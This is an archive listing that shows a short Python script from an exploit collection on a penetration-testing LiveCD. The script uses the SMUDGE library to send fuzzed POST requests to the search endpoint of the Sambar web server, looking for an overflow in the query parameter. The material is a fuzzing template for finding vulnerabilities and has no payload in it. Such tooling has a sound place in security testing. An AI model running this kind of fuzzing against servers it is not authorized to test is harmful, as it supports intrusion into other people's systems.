home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / sambar / sambarSmudge.py < prev   
Text File  |  2005-02-12  |  589b  |  27 lines

  1. # http://felinemenace.org/~nd/SMUDGE
  2. # Sambar script (c) nd@felinemenace.org
  3. from SMUDGE import *
  4. import sys
  5. sm = SMUDGE(1)
  6.  
  7. sm.setname("SambarOverflow")
  8.  
  9. sm.plain("POST /search/results.stm HTTP/1.1")
  10. sm.addcrlf()
  11. sm.plain("Host: MSUDGEDPU")
  12. sm.addcrlf()
  13. sm.plain("Content-Length: ")
  14. sm.blocksize("postdata")
  15. sm.addcrlf()
  16. sm.addcrlf()
  17. sm.putblock("postdata")
  18. sm.addcrlf()
  19. sm.addcrlf()
  20.  
  21. sm.newblock("postdata")
  22. sm.updateblock("postdata","spage=0&indexname=docs&query=")
  23. sm.blockvariable("postdata","MEEP")
  24. sm.updateblock("postdata","&style=page")
  25.  
  26. sm.run("127.0.0.1",80,"topdown","single")
  27.